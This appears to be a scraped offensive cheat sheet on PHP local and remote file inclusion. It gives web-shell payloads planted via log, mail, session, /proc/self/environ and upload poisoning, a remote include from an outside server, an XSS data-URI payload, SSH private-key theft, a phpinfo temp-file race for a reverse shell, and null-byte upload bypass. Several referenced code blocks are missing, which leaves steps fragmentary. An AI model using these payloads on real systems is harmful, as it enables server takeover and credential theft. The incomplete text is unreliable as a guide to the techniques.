File Inclusion (Local/Remote)
Last updated
Last updated
The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:
Code execution on the web server
Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
Denial of Service (DoS)
Sensitive Information Disclosure
Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include). Local File Inclusion (LFI): The sever loads a local file.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Vulnerable PHP functions: require, require_once, include, include_once
A interesting tool to exploit this vulnerability: https://github.com/kurobeats/fimap
id.php file
shell.php file
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt).
Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")
This is solved since PHP 5.4
Always try to start the path with a fake directory (a/).
This vulnerability was corrected in PHP 5.3.
The part "php://filter" is case insensitive
Can be chained with a compression wrapper for large files.
To read the comppression data you need to decode the base64 and read the resulting data using:
NOTE: Wrappers can be chained
Upload a Zip file with a PHPShell inside and access it.
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Expect has to be activated. You can execute code using this.
Specify your payload in the POST parameters
If the Apache server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?>
and execute code using the "c" GET parameter.
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.
This could also be done in other logs but be carefull, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted insithe this header.
Send a mail to a internal account (user@localhost) containing <?php echo system($_REQUEST["cmd"]); ?>
and access to the mail /var/mail/USER&cmd=whoami
Upload a lot of shells (for example : 100)
Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?>
)
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
Upload a ZIP file containing a PHP shell compressed and access:
Check if the website use PHP Session (PHPSESSID)
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
Set the cookie to <?php system('cat /etc/passwd');?>
Use the LFI to include the PHP session file
If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa
To exploit this vulnerability you need: A LFI vulnerability, a page where phpinfo() is displayed, "file_uploads = on" and the server has to be able to write in the "/tmp" directory.
Turotial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
You need to fix the exploit (change => for =>). To do so you can do:
You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1\r), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Check the double "%" when exploiting null char)
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
In Windows the files are usually stored in C:\Windows\temp\php<<
In linux the name of the file use to be random and located in /tmp. As the name is random, it is needed to extract from somewhere the name of the temporal file and access it before it is deleted. This can be done reading the value of the variable $_FILES inside the content of the function "phpconfig()".
phpinfo()
PHP uses a buffer of 4096B and when it is full, it is send to the client. Then the client can send a lot of big requests (using big headers) uploading a php reverse shell, wait for the first part of the phpinfo() to be returned (where the name of the temporary file is) and try to access the temp file before the php server deletes the file exploiting a LFI vulnerability.
Python script to try to bruteforce the name (if length = 6)
After uploading, I injected “%00” before “.png” extension. So updated file name becomes filename=”shell.php%00.png”. When I forwarded the request, file with null byte injection uploaded on the server.
So when implement null byte in file name shell.php%00.png, it will remove .png extension from checking. By injecting a null byte, the extension rule won’t be enforced because everything after the null byte will be ignored. Now application only checking file name as shell.php
High on Coffee's LFI Cheat Sheet: https://highon.coffee/blog/lfi-cheat-sheet/
Hacktricks's File Inclusion Cheat Sheet: https://book.hacktricks.xyz/pentesting-web/file-inclusion
LFI Fuzzer: https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt
Exploit Path Traversals in Java WebApps https://gist.githubusercontent.com/harisec/519dc6b45c6b594908c37d9ac19edbc3/raw/af521a3c730d4a77660e91ed41f51725cb0bbde3/exploit_path_traversals_in_Java_webapps.txt
@jonathan bouman's local file inclusion at ikea.com https://medium.com/@jonathanbouman/local-file-inclusion-at-ikea-com-e695ed64d82f
Exploiting File Upload using using Null byte: https://medium.com/@gupta.bless/exploiting-file-upload-using-null-byte-d99e0d0b328b
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders